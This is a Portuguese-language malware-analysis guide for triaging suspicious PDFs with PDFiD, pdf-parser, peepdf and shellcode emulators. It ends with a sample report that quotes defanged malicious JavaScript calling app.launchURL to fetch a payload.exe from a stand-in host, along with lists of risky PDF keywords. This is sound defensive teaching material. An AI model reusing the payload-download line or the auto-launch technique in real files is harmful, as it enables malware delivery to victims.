O que Análise de PDFs Maliciosos com PDFiD faz?
Quando Usar
- Um anexo de PDF suspeito foi sinalizado pela segurança de e-mail ou relatado por um usuário
- Você precisa determinar se um PDF contém JavaScript embutido, shellcode ou código de exploração
- Triar documentos PDF antes de abri-los em um sandbox ou ambiente de análise
- Extrair executáveis, scripts ou URLs embutidos de objetos PDF malicioso
- Analisar kits de exploração de PDF que visam vulnerabilidades do Adobe Reader ou de outros leitores de PDF
Não use para analisar o conteúdo visual renderizado de um PDF; isto é para análise estrutural do formato de arquivo PDF em busca de objetos maliciosos.
Pré-requisitos
- Python 3.8+ com as ferramentas PDF de Didier Stevens instaladas (
pip install pdfid pdf-parser) - peepdf instalado para análise interativa de PDF (
pip install peepdf) - pdftotext do poppler-utils para extrair conteúdo de texto com segurança
- YARA com regras específicas de PDF para identificação de famílias de malware
- VM de análise isolada sem um leitor de PDF instalado (evitar abertura acidental)
- CyberChef para decodificar streams Base64, hex ou deflate embutidos
Fluxo de Trabalho
Etapa 1: Triagem Inicial com PDFiD
Escaneie o PDF em busca de palavras-chave e estruturas suspeitas:
# Execute PDFiD para identificar elementos suspeitos
pdfid suspect.pdf
# Análise da saída esperada:
# /JS - JavaScript (RISCO ALTO)
# /JavaScript - Objeto JavaScript (RISCO ALTO)
# /AA - Ação automática acionada ao abrir (RISCO ALTO)
# /OpenAction - Ação ao abrir o documento (RISCO ALTO)
# /Launch - Iniciar aplicativo externo (RISCO ALTO)
# /EmbeddedFile - Arquivo embutido (RISCO MÉDIO)
# /RichMedia - Conteúdo Flash (RISCO MÉDIO)
# /ObjStm - Stream de objetos (usado para ofuscação)
# /URI - Referência de URL (risco contextual)
# /AcroForm - Formulário interativo (RISCO MÉDIO)
# Execute com detalhes extras
pdfid -e suspect.pdf
# Execute com desarme (renomear palavras-chave suspeitas)
pdfid -d suspect.pdf
Avaliação de Risco PDFiD:
━━━━━━━━━━━━━━━━━━━━━
Indicadores de ALTO RISCO (qualquer contagem > 0):
/JS, /JavaScript -> Código JavaScript embutido
/AA -> Ação automática (dispara sem interação do usuário)
/OpenAction -> Código executado quando o documento é aberto
/Launch -> Pode iniciar executáveis externos
/JBIG2Decode -> Associado à exploração CVE-2009-0658
Indicadores de RISCO MÉDIO:
/EmbeddedFile -> Contém arquivos embutidos (podem ser EXE/DLL)
/RichMedia -> Flash/multimídia (explorações Flash)
/AcroForm -> Formulário com possível ação de envio
/XFA -> Arquitetura de Formulários XML (superfície de ataque complexa)
Indicadores de BAIXO RISCO:
/ObjStm -> Streams de objetos (técnica de ofuscação)
/URI -> Referências de URL externas
/Page -> Número de páginas (apenas contexto)
Etapa 2: Analisar a Estrutura do PDF com pdf-parser
Examine objetos suspeitos identificados pelo PDFiD:
# Liste todos os objetos que referenciam JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# Liste todos os objetos com OpenAction
pdf-parser --search "/OpenAction" suspect.pdf
# Extraia um objeto específico por ID (exemplo: objeto 5)
pdf-parser --object 5 suspect.pdf
# Extraia e descomprima o conteúdo do stream
pdf-parser --object 5 --filter --raw suspect.pdf
# Pesquise por arquivos embutidos
pdf-parser --search "/EmbeddedFile" suspect.pdf
# Liste todos os objetos com seus tipos
pdf-parser --stats suspect.pdf
Etapa 3: Extrair e Analisar JavaScript Embutido
Extraia o código JavaScript dos objetos do PDF:
# Extraia JavaScript usando pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# Alternativa: Use peepdf para extração interativa de JavaScript
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# Comandos interativos do peepdf para análise JS:
# js_analyse - Extrai e mostra todo o código JavaScript
# js_beautify - Formata o JavaScript extraído
# js_eval <objeto> - Avalia JavaScript em ambiente isolado
# object <id> - Exibe o conteúdo do objeto
# rawobject <id> - Exibe os bytes brutos do objeto
# stream <id> - Exibe o stream descomprimido
# offsets - Mostra os offsets dos objetos no arquivo
# Script Python para extração abrangente de JavaScript de PDF
import subprocess
import re
# Extraia todos os streams e procure por JavaScript
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# Encontre IDs de objetos contendo referências a JavaScript
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# Extraia cada objeto contendo JavaScript
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== Objeto {obj_id} ===")
print(result.stdout[:2000])
Etapa 4: Analisar Shellcode Embutido
Extraia e examine o shellcode de explorações de PDF:
# Extraia dados brutos do stream para análise de shellcode
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# Analise o shellcode com scdbg (depurador de shellcode)
scdbg /f shellcode.bin
# Alternativa: Use speakeasy para emulação de shellcode
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# Revise as chamadas de API feitas pelo shellcode
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# Use CyberChef para decodificar shellcode codificado em hex/base64
# Entrada: Dados de stream extraídos
# Receita: De Hex -> Desmontar x86
Etapa 5: Extrair Arquivos e URLs Embutidos
Extraia executáveis e recursos vinculados:
# Extraia arquivos embutidos do PDF
import subprocess
import hashlib
# Encontre objetos de arquivos embutidos
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# Extraia arquivos PE embutidos procurando pelo cabeçalho MZ
with open("suspect.pdf", "rb") as f:
data = f.read()
# Procure por arquivos PE embutidos
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# Verifique a assinatura PE
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"PE embutido encontrado no offset 0x{pos:X}")
# Extraia (estime o tamanho ou use cabeçalho PE)
embedded = data[pos:pos+100000] # Extração inicial
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256: {sha256}")
offset = pos + 1
# Extraia URLs do PDF
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
print(f"URL: {url}")
Etapa 6: Gerar Relatório de Análise
Documente todos os achados da análise do PDF:
A análise deve cobrir:
- Resultados da triagem do PDFiD (contagens de palavras-chave suspeitas)
- Anomalias na estrutura do PDF (streams de objetos, problemas de referência cruzada)
- Código JavaScript extraído (desofuscado se necessário)
- Resultados da análise de shellcode (chamadas de API, indicadores de rede)
- Arquivos embutidos extraídos com hashes
- URLs e referências externas
- Identificação de CVE se uma exploração conhecida for detectada
- Correspondências de regras YARA contra famílias conhecidas de malware PDF
Conceitos Chave
| Termo | Definição |
|---|---|
| Objeto PDF | Bloco de construção básico de um arquivo PDF; objetos podem conter streams (dados comprimidos), dicionários, arrays e referências a outros objetos |
| OpenAction | Entrada de dicionário PDF que especifica uma ação a ser executada quando o documento é aberto; comumente usada para disparar explorações JavaScript |
| Stream PDF | Dados comprimidos dentro de um objeto PDF que podem conter JavaScript, imagens, arquivos embutidos ou shellcode; tipicamente comprimidos com FlateDecode |
| FlateDecode | Filtro de compressão Zlib/deflate aplicado a streams PDF; deve ser descomprimido para analisar o conteúdo |
| ObjStm (Stream de Objetos) | Funcionalidade PDF que armazena múltiplos objetos dentro de um único stream comprimido; usado por malware para esconder objetos suspeitos de analisadores simples |
| JBIG2 | Padrão de compressão de imagem em PDFs; fonte histórica de explorações (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |
| API JavaScript do PDF | Extensões JavaScript específicas da Adobe disponíveis em documentos PDF para manipulação de formulários, acesso à rede e interação com o SO |
Ferramentas e Sistemas
- PDFiD: Ferramenta de Didier Stevens para escanear documentos PDF em busca de palavras-chave e estruturas suspeitas sem analisar o documento completo
- pdf-parser: Ferramenta complementar ao PDFiD para extração detalhada de objetos PDF, descompressão de streams e análise de conteúdo
- peepdf: Ferramenta de análise de PDF baseada em Python que fornece shell interativo para inspeção de objetos e extração de JavaScript
- QPDF: Ferramenta de transformação de PDF para linearizar, descriptografar e reestruturar PDFs para análise mais fácil
- scdbg: Ferramenta de análise de shellcode que emula a execução de shellcode x86 e registra chamadas de API
Cenários Comuns
Cenário: Triar um PDF de Phishing com JavaScript Embutido
Contexto: O gateway de e-mail sinalizou um anexo PDF com indicadores suspeitos de JavaScript. A equipe de segurança precisa determinar se ele contém uma exploração ou um redirecionamento de engenharia social.
Abordagem:
- Execute PDFiD para confirmar a presença e contagem de /JS, /JavaScript e /OpenAction
- Use pdf-parser para extrair o objeto OpenAction e seguir sua cadeia de referência
- Extraia o código JavaScript do objeto stream referenciado (aplique o filtro FlateDecode)
- Desofusque o JavaScript (decodifique strings hex, resolva cadeias eval)
- Determine se o script explora uma vulnerabilidade do leitor de PDF (verifique heap spray, cadeias ROP) ou realiza um redirecionamento
- Extraia todas as URLs, IPs e arquivos embutidos como IOCs
- Classifique a amostra: exploração (CVE específico) ou engenharia social (redirecionamento/phishing)
Armadilhas:
- Abrir o PDF em um leitor padrão em vez de analisá-lo com ferramentas de linha de comando
- Perder JavaScript escondido dentro de Streams de Objetos (/ObjStm) que o PDFiD detecta, mas analisadores simples perdem
- Não descomprimir streams antes da análise (filtros FlateDecode, ASCIIHexDecode, ASCII85Decode)
- Assumir que a ausência de /JS significa que não há JavaScript; o código pode estar embutido em campos de formulário (/AcroForm com /XFA)
Formato de Saída
RELATÓRIO DE ANÁLISE DE MALWARE PDF
======================================
Arquivo: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
Tamanho do Arquivo: 45.312 bytes
Versão PDF: 1.7
TRIAGEM PDFiD
/JS: 1 [ALTO RISCO]
/JavaScript: 1 [ALTO RISCO]
/OpenAction: 1 [ALTO RISCO]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [OFUSCAÇÃO]
OBJETOS SUSPEITOS
Objeto 5: /OpenAction -> referencia o Objeto 8
Objeto 8: /JavaScript stream (FlateDecode, 2.847 bytes descomprimidos)
Objeto 12: /ObjStm contendo objetos 15-18
JAVASCRIPT EXTRAÍDO
Camada 1: eval(unescape("%68%65%6C%6C%6F"))
Camada 2: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// Redirecionamento de engenharia social, não exploração
IOCs EXTRAÍDOS
URLs: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
Domínios: malicious[.]com, fake-login[.]com
CLASSIFICAÇÃO
Tipo: Engenharia Social (redirecionamento de URL)
CVE: Nenhum (nenhum código de exploração detectado)
Risco: ALTO (baixa executável de payload)
Família: Generic PDF Dropper